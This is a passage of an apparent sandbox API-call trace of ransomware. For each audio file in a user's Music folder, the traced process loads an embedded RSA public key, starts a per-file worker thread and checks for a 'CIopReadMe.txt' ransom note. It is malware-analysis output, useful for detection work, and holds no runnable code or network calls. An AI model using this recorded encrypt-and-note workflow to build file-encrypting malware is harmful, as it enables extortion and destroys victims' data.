lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0095.240] CloseHandle (hObject=0x4ac) returned 1 [0095.241] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0095.241] lstrcmpW (lpString1="dCyPtvG.wav", lpString2="..") returned 1 [0095.241] lstrcmpW (lpString1="dCyPtvG.wav", lpString2=".") returned 1 [0095.241] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0095.241] Sleep (dwMilliseconds=0xd) [0095.262] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.263] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="dCyPtvG.wav" | out: lpString1="dCyPtvG.wav") returned="dCyPtvG.wav" [0095.263] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0095.263] SetErrorMode (uMode=0x1) returned 0x1 [0095.263] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0095.263] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0095.263] CloseHandle (hObject=0x4cc) returned 1 [0095.263] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0095.263] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3", lpString2="..") returned 1 [0095.263] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3", lpString2=".") returned 1 [0095.263] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0095.263] Sleep (dwMilliseconds=0xd) [0095.278] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.278] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Dg7 CrsqU k7Xp.mp3" | out: lpString1="Dg7 CrsqU k7Xp.mp3") returned="Dg7 CrsqU k7Xp.mp3" [0095.278] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0095.279] SetErrorMode (uMode=0x1) returned 0x1 [0095.279] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0095.279] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0095.279] CloseHandle (hObject=0x4d4) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0095.279] lstrcmpW (lpString1="gRZdqIY3h.mp3", lpString2="..") returned 1 [0095.279] lstrcmpW (lpString1="gRZdqIY3h.mp3", lpString2=".") returned 1 [0095.279] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0095.279] Sleep (dwMilliseconds=0xd) [0095.862] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.862] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="gRZdqIY3h.mp3" | out: lpString1="gRZdqIY3h.mp3") returned="gRZdqIY3h.mp3" [0095.862] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0095.862] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xffffffff) returned 0x0 [0095.939] SetErrorMode (uMode=0x1) returned 0x1 [0095.939] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0095.939] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0095.939] CloseHandle (hObject=0x4d8) returned 1 [0095.939] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0095.939] lstrcmpW (lpString1="GsSWFcQiPn.wav", lpString2="..") returned 1 [0095.939] lstrcmpW (lpString1="GsSWFcQiPn.wav", lpString2=".") returned 1 [0095.939] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0095.939] Sleep (dwMilliseconds=0xd) [0095.966] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.966] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="GsSWFcQiPn.wav" | out: lpString1="GsSWFcQiPn.wav") returned="GsSWFcQiPn.wav" [0095.966] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0095.966] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0xffffffff) returned 0x0 [0096.021] SetErrorMode (uMode=0x1) returned 0x1 [0096.021] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0096.021] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0096.021] CloseHandle (hObject=0x4d4) returned 1 [0096.021] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.021] lstrcmpW (lpString1="LG0LJ99M.mp3", lpString2="..") returned 1 [0096.021] lstrcmpW (lpString1="LG0LJ99M.mp3", lpString2=".") returned 1 [0096.021] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0096.021] Sleep (dwMilliseconds=0xd) [0096.044] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.044] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="LG0LJ99M.mp3" | out: lpString1="LG0LJ99M.mp3") returned="LG0LJ99M.mp3" [0096.044] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0096.044] SetErrorMode (uMode=0x1) returned 0x1 [0096.044] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0096.044] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0096.044] CloseHandle (hObject=0x4dc) returned 1 [0096.045] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.045] lstrcmpW (lpString1="p6xCw Vob.mp3", lpString2="..") returned 1 [0096.045] lstrcmpW (lpString1="p6xCw Vob.mp3", lpString2=".") returned 1 [0096.045] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0096.045] Sleep (dwMilliseconds=0xd) [0096.059] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.059] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="p6xCw Vob.mp3" | out: lpString1="p6xCw Vob.mp3") returned="p6xCw Vob.mp3" [0096.059] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0096.060] SetErrorMode (uMode=0x1) returned 0x1 [0096.060] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0096.060] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0096.060] CloseHandle (hObject=0x4e4) returned 1 [0096.060] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.060] lstrcmpW (lpString1="t41qgP8Zl.wav", lpString2="..") returned 1 [0096.060] lstrcmpW (lpString1="t41qgP8Zl.wav", lpString2=".") returned 1 [0096.060] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0096.060] Sleep (dwMilliseconds=0xd) [0096.084] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.085] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="t41qgP8Zl.wav" | out: lpString1="t41qgP8Zl.wav") returned="t41qgP8Zl.wav" [0096.085] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0096.085] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0xffffffff) returned 0x0 [0096.286] SetErrorMode (uMode=0x1) returned 0x1 [0096.286] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0096.286] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0096.286] CloseHandle (hObject=0x4f0) returned 1 [0096.286] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0096.286] lstrcmpW (lpString1="Tvn8aqPC_U.wav", lpString2="..") returned 1 [0096.286] lstrcmpW (lpString1="Tvn8aqPC_U.wav", lpString2=".") returned 1 [0096.286] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0096.286] Sleep (dwMilliseconds=0xd) [0096.309] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.309] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Tvn8aqPC_U.wav" | out: lpString1="Tvn8aqPC_U.wav") returned="Tvn8aqPC_U.wav" [0096.309] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0096.310] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0 [0096.338] SetErrorMode (uMode=0x1) returned 0x1 [0096.338] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0096.338] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0096.338] CloseHandle (hObject=0x4e4) returned 1 [0096.339] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0096.339] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0096.339] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0096.339] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0096.339] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", 